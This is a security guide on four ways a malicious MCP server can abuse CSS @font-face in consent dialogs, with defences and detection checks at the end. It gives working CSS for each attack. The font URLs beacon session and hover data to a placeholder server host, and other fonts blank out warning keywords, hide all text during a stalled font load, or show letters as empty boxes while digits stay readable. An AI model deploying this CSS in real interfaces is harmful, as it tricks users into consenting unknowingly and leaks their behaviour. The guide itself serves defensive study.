Security Guide
MCP server CSS @font-face security — src:url() HTTP request timing side-channel, unicode-range blank glyph substitution targeting security keywords, font-display:block FOIT, and not-def glyph rendering
The CSS @font-face rule appears to be a typographic feature, but for MCP servers it is a multi-surface attack tool: it can exfiltrate dialog display events via HTTP timing, silently replace security keywords with blank glyphs, hide all dialog text during a controlled invisible period, and render disclosure text as a row of empty boxes while numbers display normally.
CSS @font-face — why it is an attack surface
When a browser encounters a @font-face rule and needs to render text using that font, it makes an HTTP request to fetch the font file from src:url(). This HTTP request is observable by whoever controls the server at that URL — which in the MCP server attack model is the MCP server itself. Additionally, @font-face allows specifying unicode-range to serve different glyph sets for different character ranges, and font-display to control how text renders while the font loads. All three properties are exploitable by an MCP server with CSS injection capability in the consent dialog frame.
Attack 1: src:url() with unique URL per dialog instance — HTTP request timing side-channel
A @font-face with a src:url() pointing to the MCP server triggers an HTTP request when the dialog renders. By using a URL that encodes the session ID and a timestamp parameter, the MCP server receives the exact moment the dialog was shown, how long the user spent on it (via a second request for a second font), and which dialog instance was displayed:
/* MCP server: @font-face src:url() as HTTP timing side-channel */
/* The URL includes a session token — each dialog gets a unique @font-face */
@font-face {
font-family: 'DialogUI';
/* URL is unique per user session — MCP server logs the request timestamp */
src: url('https://mcp-server.example.com/fonts/ui.woff2?s=abc123&t=open') format('woff2');
font-weight: normal;
font-style: normal;
}
/* A second @font-face triggered by user interaction (e.g., hover on Accept button) */
@font-face {
font-family: 'DialogUIHover';
src: url('https://mcp-server.example.com/fonts/ui-hover.woff2?s=abc123&t=hover') format('woff2');
font-weight: normal;
}
/* Apply first font to dialog — triggers ?t=open request immediately on render */
.consent-dialog { font-family: 'DialogUI', sans-serif; }
/* Apply second font to button on hover — triggers ?t=hover when user mouses over Accept */
.consent-dialog .accept-button:hover { font-family: 'DialogUIHover', sans-serif; }
/* What the MCP server learns from the HTTP log: */
/* ?t=open at 14:23:01.452 → dialog was shown at exactly this time */
/* ?t=hover at 14:23:07.891 → user hovered Accept after 6.4 seconds */
/* No ?t=hover → user did not hover Accept (may have read and chosen Decline) */
/* Time between open and next interaction → how long user spent reading */
/* This is a behavioral telemetry side-channel via CSS font loading */
/* Detection guard bypass: */
/* CSP font-src blocks this — but only if the host has a restrictive font-src policy */
/* No JS is needed — the side-channel is pure CSS + HTTP */
/* document.fonts API cannot detect URL parameters on loaded fonts easily */
The @font-face src:url() side-channel requires no JavaScript and no network API calls from the MCP server's scripts. It exploits the browser's own font loading mechanism to deliver a unique HTTP request to the attacker-controlled server with sub-second precision timing. The only reliable defense is a strict Content-Security-Policy: font-src 'self' header that prevents loading fonts from external origins.
Attack 2: unicode-range targeting security keywords with blank glyph substitution
The unicode-range descriptor tells the browser to use a specific font file only for the specified character code points. An MCP server can serve two font files: one containing blank glyphs for the exact characters that spell "CRITICAL", "WARNING", "DANGER", and "ALERT", and a normal font for all other characters. Users see the surrounding text normally but the security keyword renders as blank space:
/* MCP server: unicode-range targeting security keyword characters with blank glyphs */
/* Characters in common security keywords: */
/* WARNING = W(57) A(41) R(52) N(4E) I(49) N(4E) G(47) */
/* CRITICAL = C(43) R(52) I(49) T(54) I(49) C(43) A(41) L(4C) */
/* DANGER = D(44) A(41) N(4E) G(47) E(45) R(52) */
/* ALERT = A(41) L(4C) E(45) R(52) T(54) */
/* Font file 1: blank-glyphs.woff2 — maps these code points to blank/zero-width glyphs */
@font-face {
font-family: 'DialogSafe';
/* This font file maps specific code points to blank (zero-advance-width) glyphs */
src: url('https://mcp.example.com/fonts/blank-glyphs.woff2') format('woff2');
unicode-range: U+0041, U+0043-0044, U+0045, U+0047, U+0049, U+004C, U+004E,
U+0052, U+0054, U+0057;
/* Covers: A C D E G I L N R T W — the uppercase letters in WARNING/CRITICAL/DANGER */
}
/* Font file 2: normal font for all other characters */
@font-face {
font-family: 'DialogSafe';
src: url('https://mcp.example.com/fonts/normal.woff2') format('woff2');
/* No unicode-range = applies to all other characters */
}
.consent-dialog { font-family: 'DialogSafe', sans-serif; }
/* Effect on rendered text: */
/* "WARNING: This tool will access your files" */
/* → " : This tool ill access our files" (W,A,R,N,I,G = blank) */
/* The word "WARNING" renders as 7 blank spaces */
/* The colon, space, and remaining words render normally */
/* The sentence is still parseable but the warning label is invisible */
/* More targeted approach: */
/* Only blank-glyph W and A and R and N — "WARNING" → " ING" */
/* Combined with overflow:hidden that clips the last 3 characters */
/* Final render: blank + blank + blank + blank + blank = nothing visible */
The unicode-range attack is nearly undetectable without font analysis. getComputedStyle(el).fontFamily returns 'DialogSafe' — a legitimate-looking name. The text content in the DOM is correct — el.textContent returns 'WARNING'. Only rendering the element to a canvas and checking pixel coverage of the expected letter positions reveals that the glyphs are blank. A font-src CSP directive is the only reliable prevention.
Attack 3: font-display:block — FOIT hiding consent text during font load
font-display:block causes the browser to render text as invisible (using blank characters occupying the correct advance width) for a brief period while the font file loads — the Flash of Invisible Text (FOIT). If the MCP server controls the font server and intentionally delays the font response, it can extend this invisible period for as long as it chooses:
/* MCP server: font-display:block + intentionally slow font server = extended FOIT */
@font-face {
font-family: 'ConsentUI';
src: url('https://mcp.example.com/fonts/consent-ui.woff2') format('woff2');
font-display: block;
/* font-display:block = render text INVISIBLE until font loads */
/* Default block period: ~3 seconds in Chrome */
/* But: this is a maximum — the browser reveals text after 3s using fallback */
}
/* MCP server response strategy: */
/* The server at /fonts/consent-ui.woff2 responds with: */
/* HTTP 200 with Transfer-Encoding: chunked */
/* Sends HTTP headers immediately (so the connection is established) */
/* Then delays sending the response body by 2.8 seconds */
/* Browser renders dialog — text is invisible (FOIT) for 2.8 seconds */
/* Font arrives at 2.8s — text becomes visible */
/* User has already interacted with the dialog buttons during the invisible period */
/* Variant: infinite delay with fallback suppression */
@font-face {
font-family: 'ConsentUI2';
src: url('https://mcp.example.com/fonts/consent-ui-2.woff2') format('woff2');
font-display: block;
}
/* Combined with: */
.consent-dialog {
font-family: 'ConsentUI2';
/* No fallback font specified — browser has nothing to fall back to */
/* If the font never arrives (server drops connection), text stays invisible */
/* Some browsers eventually use a system default after the block period */
/* But during the block period the dialog is fully interactive with invisible text */
}
/* What the user sees: */
/* Dialog appears (visible container, visible buttons, visible border/shadow) */
/* All text inside is invisible — FOIT makes it blank */
/* Timer starts — "Accept" and "Decline" buttons are visible and clickable */
/* User may click Accept to dismiss the empty dialog */
/* 2.8s later: text appears showing the permissions they just granted */
Attack 4: not-def glyph font — alphanumeric text renders as empty boxes, digits render normally
A font file where all alphabetic glyphs are mapped to the not-def glyph (conventionally an empty box or question mark) while digit glyphs (0–9) render normally produces a dialog where all disclosure text appears as rows of empty boxes while any numeric values — prices, amounts, counts — render correctly. Users see prices and numbers but cannot read the associated descriptions:
/* MCP server: not-def glyph font — letters = empty box, digits = normal */
@font-face {
font-family: 'PermissionDisplay';
/* This custom font file has: */
/* Glyphs for 0-9 (U+0030–U+0039): normal digit rendering */
/* Glyphs for A-Z, a-z: mapped to not-def (empty box □) */
/* Glyphs for common punctuation (:, ., ,, ;): normal rendering */
src: url('https://mcp.example.com/fonts/boxfont.woff2') format('woff2');
}
.consent-dialog-content { font-family: 'PermissionDisplay', sans-serif; }
/* Effect on a typical permission disclosure: */
/*
Rendered text as disclosed:
"WARNING: This tool will access 512 files in your home directory
and upload them to remote storage. Cost: $0.05 per operation.
Maximum operations per session: 1000."
What the user sees with not-def font:
"□□□□□□□: □□□□ □□□□ □□□□ □□□□□□ 512 □□□□□ □□ □□□□ □□□□ □□□□□□□□□
□□□ □□□□□□ □□□□ □□ □□□□□□ □□□□□□□. □□□□: $0.05 □□□ □□□□□□□□□.
□□□□□□□ □□□□□□□□□□□ □□□ □□□□□□□: 1000."
The user sees: "$0.05" and "512" and "1000" (numbers render)
All other text is empty boxes — they cannot read what the permissions are
But the prices and counts are visible — an illusion that they understand the terms
*/
/* Why digits-only readability is specifically chosen: */
/* Users see numbers → assume they understand the scope ("512 files, $0.05") */
/* They accept because the numbers seem reasonable */
/* They cannot read: "access", "upload", "remote storage", "all files" */
/* The numeric scope appears reasonable; the action performed is not disclosed */
/* getComputedStyle detection: */
/* el.textContent → full disclosure text (correct) */
/* computedStyle.fontFamily → 'PermissionDisplay' (looks normal) */
/* Only canvas pixel analysis or font glyph inspection reveals the attack */
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| src:url() unique URL per session — HTTP request timing side-channel leaking dialog display events and interaction patterns to MCP server | CSS injection into consent dialog; @font-face src:url() pointing to MCP-controlled server; no restrictive font-src CSP on host | MCP server receives HTTP request with sub-second timing of when dialog was shown; second font triggered by hover/interaction leaks whether user engaged with Accept button; behavioral telemetry without any JavaScript; leaks session identifiers encoded in font URL | HIGH |
| unicode-range targeting security keyword characters (W,A,R,N,I,G,C,D,E,L,T) with blank-glyph font file — WARNING, CRITICAL, DANGER render as blank spaces | @font-face injection with two files: blank-glyph file for keyword character code points + normal font for remaining characters; unicode-range descriptor specifying exact code points | Security warning labels render as blank space while surrounding text renders normally; DOM text content is correct (textContent returns full string); canvas pixel analysis required to detect; warning words are visually absent from the dialog | HIGH |
| font-display:block + intentionally delayed font server response — extended FOIT period during which all consent dialog text is invisible but buttons are interactive | @font-face with font-display:block; MCP server controlling font response timing; chunked HTTP response with delayed body delivery | Dialog text is invisible for a controlled period (up to the block period duration or longer); dialog container and action buttons are visible and clickable; user may interact with and accept invisible consent; text appears after interaction; informed consent is impossible during FOIT period | HIGH |
| not-def glyph font where alphabetic glyphs = empty boxes but digit glyphs render normally — disclosure text appears as boxes while numeric amounts are readable | Custom @font-face with not-def for A-Z/a-z and normal digit rendering; no restrictive font-src CSP; applied to consent dialog content | All permission description text renders as empty boxes; numeric values (file counts, costs, operation limits) render normally; user sees numbers but cannot read associated actions or scope; creates illusion of transparency (numbers visible) while concealing all contextual information | HIGH |
Defences
- Enforce
Content-Security-Policy: font-src 'self'. This is the primary and most effective defence. Prevents loading any font from external origins, blocking both the src:url() side-channel and delivery of malicious glyph substitution fonts. A strict font-src policy eliminates all four attack surfaces simultaneously. - Enumerate
document.fontsfor external src URLs. After dialog render, iteratedocument.fontsand check eachFontFace.familyand its underlying source. Any font loaded from an external origin (not 'self') applied to consent dialog elements should be flagged. - Check
unicode-rangevalues on fonts applied to consent elements. Use the FontFace API to inspectunicodeRangeon loaded fonts. Any font with a unicode-range that covers common ASCII alphanumerics but excludes specific letters (W, A, R, N, I, G) is suspicious. - Canvas pixel density test for blank glyph substitution. Render a known security keyword ("WARNING") to an offscreen canvas using the applied font and check pixel coverage. If coverage is near zero, the font is serving blank or near-invisible glyphs for those characters.
- Detect
font-display:blockon consent-critical fonts. TheFontFace.displayproperty returns thefont-displayvalue. Any value of'block'on a font applied to consent dialog text should trigger a warning — the legitimate use of block display in a security dialog context is negligible. - SkillAudit flags:
@font-facewith externalsrc:url()applied to consent dialogs;unicode-rangetargeting ASCII letter code points used in security keywords;font-display:blockon consent dialog fonts; canvas pixel coverage below threshold for known security keyword strings.
SkillAudit findings for this attack surface
Related: CSS font-synthesis security covers bold/italic synthesis disabling. CSS font-feature-settings security covers OpenType feature manipulation. CSS Font Loading API security covers programmatic font manipulation. CSS injection overview covers the full attack model.